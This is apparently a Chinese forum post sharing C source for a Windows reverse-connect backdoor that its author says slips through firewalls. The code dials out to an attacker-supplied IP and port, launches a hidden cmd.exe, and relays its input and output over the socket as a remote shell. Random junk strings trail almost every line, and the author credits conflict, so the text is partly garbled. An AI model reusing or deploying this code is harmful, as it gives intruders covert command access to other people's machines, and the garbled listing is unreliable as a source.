这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SQ>i:D;
4 ThFC
/* ============================== ~w>h#{RB
Rebound port in Windows NT 1Nt
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By wind,2006/7 K29/7A/
===============================*/ C27:tyV
#include {]^Ixm-,f
#include }S/i3$F0~
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#pragma comment(lib,"wsock32.lib") QadguV6|
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void OutputShell(); lxhb)]c
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SOCKET sClient; $6"(t= %{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /d3Jd.l!
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void main(int argc,char **argv) *1dDs^D#|
{ ~ skp}g]
WSADATA stWsaData; v=N?(6T
int nRet; 3xChik{
SOCKADDR_IN stSaiClient,stSaiServer; =j,WQ66r3
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if(argc != 3) yn62NyK
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); j<<d A[X
return; FO2e7p^Q
} vQEV,d1
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WSAStartup(MAKEWORD(2,2),&stWsaData); Vx_33";S\
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5W Ql?yMP
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stSaiClient.sin_family = AF_INET; K!-OUm5A
stSaiClient.sin_port = htons(0); ntW@Fm:bw>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9|+6@6VY!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3"y 6|e/5
{ .9jKD*U|
printf("Bind Socket Failed!\n"); z]G|)16
return; s*izhjjX
} \/NF??k,jk
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stSaiServer.sin_family = AF_INET; @?3f`l
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \fA{ sehdL
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5f-b>=02
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @tH9$J*Y<
{ =hPXLCeC
printf("Connect Error!"); 0xB2
return; 4yl{:!la
} i>F=XE
OutputShell(); 3P
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} ?5C'9 V
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void OutputShell() ~r --dU
{ Z3`EXs
char szBuff[1024]; UnhVppnex
SECURITY_ATTRIBUTES stSecurityAttributes; tEhg',2t(
OSVERSIONINFO stOsversionInfo; ,EB}IG]
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z5>I9R^q;
STARTUPINFO stStartupInfo; 7>E.0DP
char *szShell; K;?D^n.
PROCESS_INFORMATION stProcessInformation; P-@MLIC{
unsigned long lBytesRead; !/zRw-q3B
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (eN7s_
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ";K w?
stSecurityAttributes.lpSecurityDescriptor = 0; +hxG!o?O
stSecurityAttributes.bInheritHandle = TRUE; ZitM<Qi&y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZaFt4#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2B,O/3y
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D|;O9iks#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6%v9o?:~l
stStartupInfo.wShowWindow = SW_HIDE; -=ZL(r
1
stStartupInfo.hStdInput = hReadPipe; .G0 N+)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sXIYl% d
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GetVersionEx(&stOsversionInfo); y~SVD@
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switch(stOsversionInfo.dwPlatformId) @A/k"Ax{r
{ _P;D.>?
case 1: [,zq
szShell = "command.com"; uw)7N(os\`
break; &gXh:.
default: 8Lo#{`
szShell = "cmd.exe"; f[ ^f/jGm
break; K+B978XD
} 1\.$=N
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;a:H-iC
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send(sClient,szMsg,77,0); tdy2ZPVtTV
while(1) mDB
{ ^Co-!jM
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zi!Ta"}8
if(lBytesRead) 8K 3dwoT
{ M([#Py9h
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o96C^y{~S
send(sClient,szBuff,lBytesRead,0); xs$$fPAQ
} n<I{x^!
else rwm^{Qa
{ IPiV_c-l
lBytesRead=recv(sClient,szBuff,1024,0); cnv>&6a)
if(lBytesRead<=0) break; ZO0 Ee1/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :GHv3hn5
} \o9 \ikR
} )9QtnM
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return; 7>vm?a^D2&
}